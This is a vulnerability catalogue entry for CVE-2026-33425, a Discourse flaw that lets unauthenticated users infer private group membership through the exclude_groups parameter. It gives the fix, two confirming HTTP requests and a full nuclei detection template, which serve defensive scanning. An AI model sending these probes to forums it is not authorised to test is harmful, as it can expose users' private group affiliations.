Browse / CVEs / CVE-2026-33425
CVE-2026-33425· discourse / discourse· CWE-203
Discourse - Private Group Membership Inference via exclude_groups
Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory.
Impact
Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information.
Fix
Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory.
How to confirm it
Send: GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups={{ghost}}
Positive when: status_code == 200 and contains(content_type, "json") and regex("\"total_rows_directory_items\":[0-9]+", body)
Send: GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups=admins%7Cmoderators%7Cstaff%7Ctrust_level_4
Positive when: status_code == 200 and contains(content_type, "json") and !regex("total_rows_directory_items.:" + basetotal + "[,}]", body)Run it with nuclei: nuclei -id CVE-2026-33425 -u <target>
The full check
id: CVE-2026-33425
info:
name: Discourse - Private Group Membership Inference via exclude_groups
author: str4k3r
severity: medium
description: |
Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory.
impact: |
Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information.
remediation: |
Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory.
reference:
- https://github.com/discourse/discourse/security/advisories/GHSA-r6rh-xvf5-r5f2
- https://nvd.nist.gov/vuln/detail/CVE-2026-33425
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-33425
epss-score: 0.00689
epss-percentile: 0.53072
cwe-id: CWE-203
metadata:
verified: true
max-request: 2
vendor: discourse
product: discourse
shodan-query: http.component:"discourse"
fofa-query: body="/assets/discourse"
tags: cve,cve2026,discourse,info-disclosure,unauth
variables:
ghost: "{{rand_base(8, 'acfhjnprx')}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups={{ghost}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'regex("\"total_rows_directory_items\":[0-9]+", body)'
condition: and
internal: true
extractors:
- type: regex
name: basetotal
group: 1
internal: true
regex:
- '"total_rows_directory_items":([0-9]+)'
- raw:
- |
GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups=admins%7Cmoderators%7Cstaff%7Ctrust_level_4 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- '!regex("total_rows_directory_items.:" + basetotal + "[,}]", body)'
condition: andReferences
- https://github.com/discourse/discourse/security/advisories/GHSA-r6rh-xvf5-r5f2
- https://nvd.nist.gov/vuln/detail/CVE-2026-33425
Use this check only on systems you are authorised to test. Where the data comes from